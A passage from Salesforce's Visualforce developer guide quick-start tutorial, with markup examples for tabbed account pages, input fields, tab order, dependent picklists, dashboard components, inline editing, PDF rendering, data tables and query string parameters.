3. Click the Page Editor link in the bottom left corner of the page. This displays the code for the new page, which should look like this:
<apex:page >
<!-- Begin Default Content REMOVE THIS -->
<h1 >Congratulations </h1 >
This is your new Page: tabbedAccount
<!-- End Default Content REMOVE THIS -->
</apex:page >
4. Replace the existing code with the following and click Save:
<apex:page standardController= "Account" showHeader= "true" tabStyle= "account" >
<style >
.activeTab {background-color: #236FBD; color:white; background-image:none}
.inactiveTab { background-color: lightgrey; color:black; background-image:none}
</style >
<apex:tabPanel switchType= "client" selectedTab= "tabdetails" id= "AccountTabPanel" tabClass= 'activeTab' inactiveTabClass= 'inactiveTab' >
<apex:tab label= "Details" name= "AccDetails" id= "tabdetails" >
<apex:detail relatedList= "false" title= "true" />
</apex:tab >
<apex:tab label= "Contacts" name= "Contacts" id= "tabContact" >
<apex:relatedList subject= "{!account}" list= "contacts" />
</apex:tab >
<apex:tab label= "Opportunities" name= "Opportunities" id= "tabOpp" >
<apex:relatedList subject= "{!account}" list= "opportunities" />
</apex:tab >
<apex:tab label= "Open Activities" name= "OpenActivities" id= "tabOpenAct" >
<apex:relatedList subject= "{!account}" list= "OpenActivities" />
</apex:tab >
<apex:tab label= "Notes and Attachments" name= "NotesAndAttachments" id= "tabNoteAtt" >
<apex:relatedList subject= "{!account}" list= "CombinedAttachments" />
</apex:tab >
</apex:tabPanel >
</apex:page >
5. Notice that there is no data in the Account page. You need to specify the ID of a particular account in the URL, as you've done with previous pages, for example, https://Salesforce_instance/apex/tabbedAccount?id=001D000000IRt53
.
After you add in an account ID, your page should display as follows:
22
Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page
Things to note about the page markup:
•
<style >
is actually part of CSS markup, not Visualforce markup. It defines the styles for two types of tabs: activeTab and inactiveTab.
•
<apex:tabPanel >
is used to generate the tabs. Notice how it uses the following attributes:
–
tabClass
attribute: specifies the style class used to display a tab when it is active.
–
inactiveTabClass
attribute: specifies the style class used to display a tab when it is inactive.
•
Within the definition of the tab panel, is the definition of each child tab component,
<apex:tab >
. The first tab uses the
<apex:detail >
tag to return that portion of the detail view for the page:
<apex:tab label= "Details" name= "AccDetails" id= "tabdetails" >
<apex:detail relatedList= "false" title= "true" />
</apex:tab >
While the rest of the tabs use the
<apex:relatedList >
to specify the different parts of the account page. The following is the tab for contacts. It uses an existing list of contacts.
<apex:tab label= "Contacts" name= "Contacts" id= "tabContact" >
<apex:relatedList subject= "{!account}" list= "contacts" />
</apex:tab >
Now that you've created a page to display an account with tabs, you can use this page to override the detail view for all accounts.
1. From the object management settings for accounts, go to Buttons, Links, and Actions.
2. Click Edit next to View.
3. For
Override With
select Visualforce Page.
4. From the Visualforce Page drop-down list, select tabbedAccount.
5. Click Save.
23
Getting a Quick Start with Visualforce Redirecting to a Standard Object List Page
Click the Account tab, and select any account. The detail for the account is now displayed with tabs.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Redirecting to a Standard Object List Page
For buttons or links that navigate a user to a standard tab, you can redirect the content to present a list of standard objects.
Create a Visualforce page with the following markup:
<apex:page action= "{!URLFOR($Action.Account.List, $ObjectType.Account)}" />
The user will see a page that resembles the following:
Overriding the Account Detail Page
The Visualforce page can also refer to other standard objects, such as contacts, by changing the reference to the standard object. For example:
<apex:page action= "{!URLFOR($Action.Contact.List, $ObjectType.Contact)}" />
Using Input Components in a Page
So far the examples in this quick start tutorial show ways that you can display data in a Visualforce page. To capture input from a user, use the
<apex:form >
tag with one or more input components and a
<apex:commandLink >
or
<apex:commandButton > tag to submit the form.
The input component tag that is most often used in a form is
<apex:inputField >
. This tag renders the appropriate input widget based on a standard or custom object field’s type. For example, if you use an
<apex:inputField >
tag to display a date field, a calendar widget displays on the form. If you use an
<apex:inputField >
tag to display a picklist field, a drop-down list displays instead. The
<apex:inputField >
tag can be used to capture user input for any standard or custom object field, and respects any metadata that is set on the field definition, such as whether the field is required or unique, or whether the current user has permission to view or edit it.
For example, the following page allows users to edit and save the name of an account:
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001x000xxx3Jsxb
24
Getting a Quick Start with Visualforce Adding and Customizing Input Field Labels
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are viewing the {!account.name} account.
<p/ >
Change Account Name: <p/ >
<apex:inputField value= "{!account.name}" /> <p/ >
<apex:commandButton action= "{!save}" value= "Save New Account Name" />
</apex:pageBlock >
</apex:form >
</apex:page >
Notice in the example that:
•
The
<apex:inputField >
tag is bound to the account name
field by setting the tag’s value
attribute. The expression contains the familiar
{!account.name}
dot-notation used to display the field’s value elsewhere in the page.
•
The
<apex:commandButton >
tag has an action
attribute. The value for this attribute invokes the save
action of the standard Account controller, which performs identically to the Save button on the standard Account edit page.
Note:
When you save a page, the value
attribute of all input components—
<apex:inputField >
,
<apex:inputText >
, and so on—is validated to ensure it’s a single expression, with no literal text or white space, and is a valid reference to a single controller method or object property. An error will prevent saving the page.
The <apex:form> Component with a Single Input Field
The only fields that the
<apex:inputField >
tag cannot display are those defined as member variables of a custom controller class written in Apex. To gather data for these variables, use the
<apex:inputCheckbox >
,
<apex:inputHidden >
,
<apex:inputSecret >
,
<apex:inputText >
, or
<apex:inputTextarea >
tags instead.
Adding and Customizing Input Field Labels
When used inside of a
<apex:pageBlockSection >
component, Visualforce input components and some output components automatically display a form label for the field. For components that map to standard or custom object fields, the displayed label is the
25
Getting a Quick Start with Visualforce Adding and Customizing Input Field Labels object field label by default. To override the default value, and for components that aren’t mapped directly to object fields, you can set the label using the label
attribute of the component. For example:
<apex:page standardController= "Contact" >
<apex:form >
<apex:pageBlock title= "Quick Edit: {!Contact.Name}" >
<apex:pageBlockSection title= "Contact Details" columns= "1" >
<apex:inputField value= "{!Contact.Phone}" />
<apex:outputField value= "{!Contact.MobilePhone}" label= "Mobile #" />
<apex:inputText value= "{!Contact.Email}" label= "{!Contact.FirstName + '’s Email'}" />
</apex:pageBlockSection >
<apex:pageBlockButtons >
</apex:pageBlock >
</apex:form >
</apex:page >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
Note:
For this page to display contact data, the ID of a valid contact record must be specified as a query parameter in the URL for the page. For example, https://
Salesforce_instance
/apex/myPage?id=003D000000Q513R
The label
attribute may be a string, or an expression that evaluates to a string. If you set label
to an empty string, the form label for that field will be suppressed.
The label
attribute can be set on the following Visualforce components:
•
<apex:inputCheckbox >
•
<apex:inputField >
•
<apex:inputSecret >
•
<apex:inputText >
•
<apex:inputTextarea >
•
<apex:outputField >
26
Getting a Quick Start with Visualforce Setting the Tab Order for Fields in a Form
•
<apex:outputText >
•
<apex:selectCheckboxes >
•
<apex:selectList >
•
<apex:selectRadio >
Custom Labels and Error Messages
When set, the label
attribute will be used for component-level error messages, for example, when a field is required or must be unique. Custom labels won't be used in custom error messages, and the default object field label will be used instead. If you set a label attribute to an empty string, the default object field label will be used in all error messages.
Setting the Tab Order for Fields in a Form
Visualforce forms have a “natural order” for tabbing through the input fields: left-to-right, top-to-bottom. For some forms, this might not be the most efficient or accessible arrangement. You can use the tabIndex
and tabOrderHint
attributes on input and other components in your page to change the tab order to anything you’d like.
Here is a simple example that uses the tabOrderHint
attribute to control the tab order.
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "Edit Account: {!Account.Name}" >
<apex:pageBlockSection title= "Account Details" columns= "1" >
<apex:inputField value= "{!Account.Name}" tabOrderHint= "4" />
<apex:inputField value= "{!Account.Website}" tabOrderHint= "3" />
<apex:inputField value= "{!Account.Industry}" tabOrderHint= "2" />
<apex:inputField value= "{!Account.AnnualRevenue}" tabOrderHint= "1" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001x000xxx3Jsxb
Notice that when you display this page and press TAB, the active field changes in the reverse order than you would normally expect.
Using
tabIndex
and
tabOrderHint
The tabOrderHint
attribute is used as a hint when calculating the value to set for the tabindex
value of the rendered HTML element or elements. It’s used to indicate the relative order in which the field is selected compared to other page components. This value must be an integer between 1 and 3276, or an expression which evaluates to an integer value in the same range. The tab order begins with component 1 being the first component selected when a user presses TAB.
The tabIndex
attribute is used to directly set the tabindex
value of the rendered HTML element. It’s an absolute index setting the order in which the field is selected, compared to other page components. This value must be an integer between 0 and 32767, or
27
Getting a Quick Start with Visualforce Adding Dependent Fields to a Page an expression which evaluates to an integer value in the same range. The tab order begins with component 0 being the first component selected when a user presses TAB.
The tabOrderHint
attribute is available on only the
<apex:inputField >
component. The tabIndex
attribute can be set on the following Visualforce components.
•
<apex:commandButton >
•
<apex:commandLink >
•
<apex:inputCheckbox >
•
<apex:inputFile >
•
<apex:inputSecret >
•
<apex:inputText >
•
<apex:inputTextarea >
•
<apex:outputLabel >
•
<apex:outputLink >
•
<apex:selectCheckboxes >
•
<apex:selectList >
•
<apex:selectRadio >
When mixing
<apex:inputField >
with components that use the tabIndex
attribute to set the tab order, you can multiply the tabOrderHint
by 10 to get the approximate equivalent value of the tabIndex
for that field. Use this to manually calculate equivalent values to set the appropriate attribute on each of the components in such a way as to set the desired tab order for all elements on the page.
Adding Dependent Fields to a Page
Dependent fields provide a way to filter the field values displayed on a Visualforce page. Dependent fields consist of two parts: a controlling field that determines the filtering, and a dependent field that has its values filtered. Dependent fields can dynamically filter values in fields such as picklists, multi-select picklists, radio buttons, and checkboxes. Dependent picklists can only be displayed on Visualforce pages with Salesforce API version 19.0 or higher. For more information, see Dependent Picklists in the Salesforce online help.
For this example, we’ll be adding a dependent picklist, Subcategories, to a Visualforce page. First, create this custom picklist:
1. From the object management settings for accounts, go to the fields area, and then click New.
2. Choose Picklist, and then click Next.
3. Enter
Subcategories
for the Field Label.
4. Enter the following terms for the list of values:
•
Apple Farms
•
Cable
•
Corn Fields
•
Internet
•
Radio
•
Television
•
Winery
5. Click Next twice, then click Save.
28
Getting a Quick Start with Visualforce Adding Dependent Fields to a Page
To define the field dependencies for Subcategories:
1. From the object management settings for accounts, go to the fields area.
2. Click Field Dependencies.
3. Click New.
4. Choose Industry as a controlling field, and Subcategories as a dependent field.
5. Click Continue.
6. Each value in the controlling field (from Industry) is listed in the top row and each value in the dependent field (from Subcategory) is displayed in the column below it. Set your field dependencies to match this image:
The Field Dependency Matrix for Subcategories
You can disregard any other Industry types that aren’t shown above.
7. Click Save.
Now, create a Visualforce page called dependentPicklists
that looks like this:
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "Dependent Picklists" columns= "2" >
<apex:inputField value= "{!account.industry}" />
<apex:inputField value= "{!account.subcategories__c}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
When you select Agriculture from the Industry picklist, the Subcategories picklist contains Apple Farms, Corn Fields, and Winery. If you select Communication, your Subcategories picklist contains all the Communication types defined earlier.
Dependent Picklist Considerations
Consider the following when using dependent picklists in Visualforce pages:
•
You can mix controlling and dependent fields across various field types, such as picklists, multi-picklists, radio buttons, and checkboxes.
•
There’s a limit of 10 dependent picklist pairs per page. This is totalled across all objects. Thus, you could have five dependent picklists on Account, and five on Contact, but no more. However, you can repeat the same pair of dependent picklists, such as in an iterative tag like
<apex:repeat >
, without counting more than once against your limit.
29
Getting a Quick Start with Visualforce Adding Dependent Fields to a Page
•
If the user viewing the page has read-only access to the controlling field, a dependent picklist might not behave as expected. In this case, the dependent picklist shows all possible values for the picklist, instead of being filtered on the read-only value. This is a known limitation in Visualforce.
•
Pages must include the controlling field for a dependent picklist. Failing to include the controlling field on the page causes a runtime error when the page displays.
•
Don’t mix inline edit-enabled fields with regular input fields from the same dependency group. For example, don’t mix a standard input field for a controlling field with an inline edit-enabled dependent field:
<apex:page standardController= "Account" >
<apex:form >
<!-- Don't mix a standard input field... -->
<apex:inputField value= "{!account.Controlling__c}" />
<apex:outputField value= "{!account.Dependent__c}" >
<!-- ...with an inline-edit enabled dependent field -->
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
</apex:form >
</apex:page >
•
If you combine inline edit-enabled dependent picklists with Ajax-style partial page refreshes, refresh all fields with dependent or controlling relationships to each other as one group. Refreshing fields individually isn’t recommended and might result in inconsistent undo/redo behavior. Here’s an example of the recommended way to partially refresh a form with inline edit-enabled dependent picklists:
<apex:form >
<!-- other form elements ... -->
<apex:outputPanel id= "locationPicker" >
<apex:outputField value= "{!Location.country}" >
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
<apex:outputField value= "{!Location.state}" >
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
<apex:outputField value= "{!Location.city}" >
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
</apex:outputPanel >
<!-- ... -->
<apex:commandButton value= "Refresh Picklists" reRender= "locationPicker" />
</apex:form >
All of the inline edit-enabled picklists are wrapped in the
<apex:outputPanel >
component. The
<apex:outputPanel > rerenders when the
<apex:commandButton >
action method fires.
SEE ALSO:
Salesforce Help: Find Object Management Settings
30
Getting a Quick Start with Visualforce Creating Visualforce Dashboard Components
Creating Visualforce Dashboard Components
Visualforce pages can be used as dashboard components. A dashboard shows data from source reports as visual components, which can be charts, gauges, tables, metrics, or Visualforce pages. The components provide a snapshot of key metrics and performance indicators for your organization. Each dashboard can have up to 20 components.
Visualforce pages that use the Standard Controller
can’t be used in dashboards. To be included in a dashboard, a Visualforce page must
have either no controller, use a custom controller , or reference a page bound to the
. If a Visualforce page does not meet these requirements, it does not appear as an option in the dashboard component
Visualforce Page
drop-down list.
Create a Visualforce page called
VFDashboard
. The following markup shows an example of a Visualforce page that uses a standard list controller and can be used within a dashboard. It displays a list of the cases associated with your organization:
<apex:page standardController= "Case" recordSetvar= "cases" >
<apex:pageBlock >
<apex:form id= "theForm" >
<apex:panelGrid columns= "2" >
<apex:outputLabel value= "View:" />
<apex:selectList value= "{!filterId}" size= "1" >
<apex:actionSupport event= "onchange" rerender= "list" />
<apex:selectOptions value= "{!listviewoptions}" />
</apex:selectList >
</apex:panelGrid >
<apex:pageBlockSection >
<apex:dataList var= "c" value= "{!cases}" id= "list" >
{!c.subject}
</apex:dataList >
</apex:pageBlockSection >
</apex:form >
</apex:pageBlock >
</apex:page >
To create a dashboard that uses this Visualforce page:
1. View the dashboard and click Edit.
2. Click Add Component from the top of any column.
3. Choose a Visualforce Page as the component type.
4. Optionally, enter a header to display at the top of the dashboard component.
5. Optionally, enter a footer to display at the bottom of the dashboard component.
6. From the
Visualforce Page
drop-down list, select
VFDash
.
7. Click Save.
31
Getting a Quick Start with Visualforce
Sample Visualforce Page Running in a Dashboard
Displaying Related Lists for Custom Objects
on page 130.
Displaying Related Lists for Custom Objects
Displaying custom objects and their related lists with Visualforce is very simple.
Suppose you have three custom objects: MyChildObject, MyMasterObject, and MyLookupObject. MyChildObject has a master-detail relationship with MyMasterObject (which is the master). MyLookupObject also has a Lookup relationship with MyChildObject.
If you want to create a Visualforce page that displays the related list for MyMasterObject, use the following markup:
<apex:page standardController= "MyMasterObject__c" >
<apex:relatedList list= "MyChildObjects__r" />
</apex:page >
For this page to display the related list data, the ID of a valid custom object record with a custom relationship must be specified as a query parameter in the URL for the page, for example, http://na3.salesforce.com/myCustomRelatedList?id=a00x00000003ij0
.
Although MyLookupObject uses a different type of relationship, the syntax is identical:
<apex:page standardController= "MyLookupObject__c" >
<apex:relatedList list= "MyChildObjects__r" />
</apex:page >
Enabling Inline Editing
Visualforce pages 21.0 and above support inline editing. Inline editing lets users quickly edit field values, right on a record’s detail page.
Editable cells display a pencil icon ( ) when you hover over the cell, while non-editable cells display a lock icon ( ).
The
<apex:detail >
component has an attribute that activates inline editing, while the
<apex:inlineEditSupport > component provides inline editing functionality to several container components.
To see the power of inline editing, create a page called inlineDetail
with the following code:
<apex:page standardController= "Account" >
<apex:detail subject= "{!account.Id}" relatedList= "false" />
</apex:page >
32
Getting a Quick Start with Visualforce Enabling Inline Editing
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001x000xxx3Jsxb
Try to double-click one of the fields, like
Account Number
. You’ll notice that nothing happens.
Now, replace the page with the following code:
<apex:page standardController= "Account" >
<apex:detail subject= "{!account.Id}" relatedList= "false" inlineEdit= "true" />
</apex:page >
Hover over any of the fields, and you’ll notice that you can now edit their contents directly. Clicking Save at the top of the section preserves all your changed information. Components that support inline editing must always be descendants of the
<apex:form > tag. However, the
<apex:detail >
component doesn’t have to be a descendant of an
<apex:form >
to support inline editing.
The
<apex:inlineEditSupport >
component must be a descendant of the following components:
•
<apex:dataList >
•
<apex:dataTable >
•
<apex:form >
•
<apex:outputField >
•
<apex:pageBlock >
•
<apex:pageBlockSection >
•
<apex:pageBlockTable >
•
<apex:repeat >
Here’s a sample that demonstrates how you can create a page using
<apex:pageBlockTable >
that makes use of inline editing:
<apex:page standardController= "Account" recordSetVar= "records" id= "thePage" >
<apex:form id= "theForm" >
<apex:pageBlock id= "thePageBlock" >
<apex:pageBlockTable value= "{!records}" var= "record" id= "thePageBlockTable" >
<apex:column >
<apex:outputField value= "{!record.Name}" id= "AccountNameDOM" />
<apex:facet name= "header" >Name </apex:facet >
</apex:column >
<apex:column >
<apex:outputField value= "{!record.Type}" id= "AccountTypeDOM" />
<apex:facet name= "header" >Type </apex:facet >
</apex:column >
<apex:column >
<apex:outputField value= "{!record.Industry}" id= "AccountIndustryDOM" />
<apex:facet name= "header" >Industry </apex:facet >
</apex:column >
<apex:inlineEditSupport event= "ondblClick" showOnEdit= "saveButton,cancelButton" hideOnEdit= "editButton" />
</apex:pageBlockTable >
<apex:pageBlockButtons >
<apex:commandButton value= "Edit" action= "{!save}" id= "editButton" />
33
Getting a Quick Start with Visualforce Enabling Inline Editing
<apex:commandButton value= "Save" action= "{!save}" id= "saveButton" />
<apex:commandButton value= "Cancel" action= "{!cancel}" id= "cancelButton"
/>
</apex:pageBlockButtons >
</apex:pageBlock >
</apex:form >
</apex:page >
The following are cases when inline editing isn’t supported.
•
Inline editing isn’t available in:
–
Accessibility mode
–
Setup pages
–
Dashboards
–
Customer Portal
–
Descriptions for HTML solutions
•
The following standard checkboxes on case and lead edit pages are not inline editable:
–
Case Assignment (
Assign using active assignment rules
)
–
Case Email Notification (
Send notification email to contact
)
–
Lead Assignment (
Assign using active assignment rule
)
•
The fields in the following standard objects are not inline editable.
–
All fields in Documents and Price Books
–
All fields in Tasks except for
Subject
and
Comment
–
All fields in Events except for
Subject
,
Description
, and
Location
–
Full name fields of Person Accounts, Contacts, and Leads. However, their component fields are, for example,
First Name and
Last Name
.
•
You can use inline editing to change the values of fields on records for which you have read-only access, either via field-level security or your organization's sharing model; however, Salesforce doesn't let you save your changes, and displays an insufficient privileges error message when you try to save the record.
•
Inline editing isn’t supported for standard rich text area (RTA) fields, such as
Idea.Body
, that are bound to
<apex:outputField >
when Visualforce pages are served from a separate domain, other than the Salesforce domain. By default, Visualforce pages are served from a separate domain unless your administrator has disabled this setting. Custom RTA fields aren’t affected by this limitation and support inline editing.
•
Inline editing is supported for dependent picklists that use
<apex:outputField >
.
•
Pages must include the controlling field for a dependent picklist. Failing to include the controlling field on the page causes a runtime error when the page displays.
•
Don’t mix inline edit-enabled fields with regular input fields from the same dependency group. For example, don’t mix a standard input field for a controlling field with an inline edit-enabled dependent field:
<apex:page standardController= "Account" >
<apex:form >
<!-- Don't mix a standard input field... -->
<apex:inputField value= "{!account.Controlling__c}" />
<apex:outputField value= "{!account.Dependent__c}" >
<!-- ...with an inline-edit enabled dependent field -->
<apex:inlineEditSupport event= "ondblClick" />
34
Getting a Quick Start with Visualforce Converting a Page to a PDF File
</apex:outputField >
</apex:form >
</apex:page >
•
If you combine inline edit-enabled dependent picklists with Ajax-style partial page refreshes, refresh all fields with dependent or controlling relationships to each other as one group. Refreshing fields individually isn’t recommended and might result in inconsistent undo/redo behavior. Here’s an example of the recommended way to partially refresh a form with inline edit-enabled dependent picklists:
<apex:form >
<!-- other form elements ... -->
<apex:outputPanel id= "locationPicker" >
<apex:outputField value= "{!Location.country}" >
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
<apex:outputField value= "{!Location.state}" >
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
<apex:outputField value= "{!Location.city}" >
<apex:inlineEditSupport event= "ondblClick" />
</apex:outputField >
</apex:outputPanel >
<!-- ... -->
<apex:commandButton value= "Refresh Picklists" reRender= "locationPicker" />
</apex:form >
All of the inline edit-enabled picklists are wrapped in the
<apex:outputPanel >
component. The
<apex:outputPanel > rerenders when the
<apex:commandButton >
action method fires.
Converting a Page to a PDF File
You can render any page as a PDF by adding the renderAs
attribute to the
<apex:page >
component, and specifying “pdf” as the rendering service. For example:
<apex:page renderAs= "pdf" >
Visualforce pages rendered as PDFs will either display in the browser or download as a PDF file, depending on your browser settings.
In the previous tutorial, you used a Visualforce page to change the name of a company. Suppose you wanted to generate an announcement of the new name as a PDF. The following example produces such a page, along with the current date and time.
<apex:page standardController= "Account" renderAs= "pdf" applyBodyTag= "false" >
<head >
<style > body { font-family: 'Arial Unicode MS' ; }
.companyName { font: bold 30px; color: red; }
</style >
</head >
<body >
<center >
<h1 >New Account Name!
</h1 >
<apex:panelGrid columns= "1" width= "100%" >
35
Getting a Quick Start with Visualforce Converting a Page to a PDF File
<apex:outputText value= "{!account.Name}" styleClass= "companyName" />
<apex:outputText value= "{!NOW()}" > </apex:outputText >
</apex:panelGrid >
</center >
</body >
</apex:page >
Things to note about the page:
•
<style >
is CSS markup, not Visualforce markup. It defines the font family used for the entire page, as well as a particular style for the company name.
•
Some of the output text is contained in an
<apex:panelGrid >
component. A panel grid renders as an HTML table. Each component found in the body of the
<apex:panelGrid >
component is placed into a corresponding cell in the first row until the number of columns is reached. As there is only a single cell, each output text is displayed in a separate row.
A Visualforce Page Rendered as PDF
Always verify the format of your rendered page before deploying it.
SEE ALSO:
Render a Visualforce Page as a PDF File
Visualforce PDF Rendering Considerations and Limitations
36
Getting a Quick Start with Visualforce Building a Table of Data in a Page
Building a Table of Data in a Page
Some Visualforce components, such as
<apex:pageBlockTable >
or
<apex:dataTable >
, allow you to display information from multiple records at a time by iterating over a collection of records. To illustrate this concept, the following page uses the
<apex:pageBlockTable >
component to list the contacts associated with an account that is currently in context:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are viewing the {!account.name} account.
</apex:pageBlock >
<apex:pageBlock title= "Contacts" >
<apex:pageBlockTable value= "{!account.Contacts}" var= "contact" >
<apex:column value= "{!contact.Name}" />
<apex:column value= "{!contact.MailingCity}" />
<apex:column value= "{!contact.Phone}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001x000xxx3Jsxb
The
<apex:pageBlockTable >
Component
Like other iteration components,
<apex:pageBlockTable >
includes two required attributes, value
and var
:
•
value
takes a list of sObject records or values of any other Apex type. In the example above,
{!account.Contacts}
retrieves the ID of the account that is currently in context and then traverses the relationship to retrieve the list of the associated contacts.
37
Getting a Quick Start with Visualforce Editing a Table of Data in a Page
•
var
specifies the name of the iteration variable. This variable is used within the body of the
<apex:pageBlockTable >
tag to access the fields on each contact. In this example, value= "{!contact.Name}"
is used on the
<apex:column >
tag to display the name of the contact.
The
<apex:pageBlockTable >
component takes one or more child
<apex:column >
components. The number of rows in the table is controlled by the number of records returned with the value
attribute.
Note: The
<apex:pageBlockTable >
component automatically takes on the styling of a standard Salesforce list. To display a list with your own styling, use
<apex:dataTable >
instead.
Editing a Table of Data in a Page
In the last tutorial, you built a table of data. Using
<apex:inputField >
in the data table columns, you can create a table with editable fields. Using
<apex:commandButton >
you can save the data you change. Any message (such as
Saving
) is automatically displayed with the
<apex:pageMessages >
tag.
The following page creates a page that enables you to edit a series of Industry types at the same time:
<apex:page standardController= "Account" recordSetVar= "accounts" tabstyle= "account" sidebar= "false" >
<apex:form >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!accounts}" var= "a" >
<apex:column value= "{!a.name}" />
<apex:column headerValue= "Industry" >
<apex:inputField value= "{!a.Industry}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
Note: If you have an ID attribute in the URL, this page does not display correctly. For example, https://c.na1.visual.soma.force.com/apex/HelloWorld?id=001D000000IR35T
produces an error.
You need to remove the ID from the URL.
Notice the following about the page markup:
•
This page takes advantage of
to generate the data for the table. Use the recordSetVar
attribute to specify the name of the set of data you want to use. Then, in the
<apex:pageBlockTable >
value, use the name of that set to populate the table with data.
•
The
<apex:inputField >
tag automatically generates the correct display for the field. In this case, as a drop-down list.
•
The page must be enclosed in an
<apex:form >
tag in order to use the
<apex:commandButton >
tag. A form specifies a portion of a Visualforce page that users can interact with.
38
Getting a Quick Start with Visualforce
Example of Editing a Table of Data
Using Query String Parameters in a Page
Using Query String Parameters in a Page
As shown in earlier examples, the default page context—that is, the record that provides the source of data displayed on the page—is controlled by a query string parameter named id
in the page URL. You can also get and set query string parameters in the Visualforce markup. The following topics provide examples:
•
Getting Query String Parameters
•
Setting Query String Parameters in Links
•
Getting and Setting Query String Parameters on a Single Page
Getting Query String Parameters
You can reference query string parameters in Visualforce markup by using the
$CurrentPage
global variable. Using
$CurrentPage
, you can access the query string parameters for the page by specifying the parameters
attribute, after which you can access each individual parameter:
$CurrentPage.parameters.
parameter_name
For example, suppose you want to add detail information about a specific contact to an Account page. The account record ID is specified by the default id
query string parameter, and the contact record ID is specified by the query string parameter named cid
:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are displaying values from the {!account.name} account and a separate contact that is specified by a query string parameter.
</apex:pageBlock >
<apex:pageBlock title= "Contacts" >
<apex:dataTable value= "{!account.Contacts}" var= "contact" cellPadding= "4" border= "1" >
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
{!contact.Name}
</apex:column >
<apex:column >
<apex:facet name= "header" >Phone </apex:facet >
{!contact.Phone}
</apex:column >
</apex:dataTable >
39
Getting a Quick Start with Visualforce Getting Query String Parameters
</apex:pageBlock >
<apex:detail subject= "{!$CurrentPage.parameters.cid}" relatedList= "false" title= "false" />
</apex:page >
For this example to render properly, you must associate the Visualforce page with valid account and contact IDs in the URL. For example, if
001D000000IRt53
is the account ID and
003D000000Q0bIE
is the contact ID, the resulting URL should be: https://
Salesforce_instance
/apex/MyFirstPage?id=001D000000IRt53&cid=003D000000Q0bIE
Displaying Field Values with Visualforce
on page 18 has more information about retrieving the ID of a record.
Note: If you use the id
parameter in a URL, it must refer to the same entity referred to in the standard controller.
Using Query String Parameters in a Page
40
Getting a Quick Start with Visualforce Setting Query String Parameters in Links
Setting Query String Parameters in Links
You can set query string parameters in links to pages by constructing the link URL manually, or by using
<apex:param >
tags within the
<apex:outputLink >
tag. For example, both of the following examples create identical links to an external page:
<apex:outputLink value= "http://google.com/search?q={!account.name}" >
Search Google
</apex:outputLink >
<apex:outputLink value= "http://google.com/search" >
Search Google
<apex:param name= "q" value= "{!account.name}" />
</apex:outputLink >
The latter method, which uses
<apex:param >
tags instead of manually creating the URL, is preferable for stylistic reasons.
Note:
In addition to
<apex:outputLink >
, use
<apex:param >
to set request parameters for
<apex:commandLink >
, and
<apex:actionFunction >
.
Getting and Setting Query String Parameters on a Single Page
Having seen examples of both getting and setting query string parameters, this example shows how the two actions can be combined on a single page to produce a more interesting result. Based on the example from Getting Query String Parameters, the following page makes the name of each contact in the list a hyperlink that controls the context of the detail component below it.
This is possible by:
•
Wrapping the data table in an
<apex:form >
tag
•
Turning each contact name into an
<apex:commandLink >
that sets the cid
parameter appropriately with an
<apex:param >
tag
When used with a standard controller, command links always entirely refresh the current page with the new information added to the page—in this case, an updated cid
that updates the contact detail component.
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are displaying contacts from the {!account.name} account.
Click a contact 's name to view his or her details.
</apex:pageBlock >
<apex:pageBlock title= "Contacts" >
<apex:form >
<apex:dataTable value= "{!account.Contacts}" var= "contact" cellPadding= "4" border= "1" >
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
<apex:commandLink >
{!contact.Name}
<apex:param name= "cid" value= "{!contact.id}" />
</apex:commandLink >
</apex:column >
<apex:column >
<apex:facet name= "header" >Phone </apex:facet >
{!contact.Phone}
</apex:column >
</apex:dataTable >
41
Getting a Quick Start with Visualforce Using Ajax in a Page
</apex:form >
</apex:pageBlock >
<apex:detail subject= "{!$CurrentPage.parameters.cid}" relatedList= "false" title= "false" />
</apex:page >
After saving this markup, refresh your browser with the id
query string parameter but without the cid
parameter in the URL For example, https://
Salesforce_instance
/apex/MyFirstPage?id=001D000000IRt53
Initially the contact detail page is not rendered, but when you click a contact name the page renders the appropriate detail view.
Note: If you use the id
parameter in a URL, it must refer to the same entity referred to in the standard controller.
SEE ALSO:
Using Ajax in a Page
Some Visualforce components are Ajax aware and allow you to add Ajax behaviors to a page without having to write any JavaScript.
The following topics provide examples:
•
Implementing Partial Page Updates with Command Links and Buttons
•
Providing Status for Asynchronous Operations
•
Applying Ajax Behavior to Events on Any Component
Implementing Partial Page Updates with Command Links and Buttons
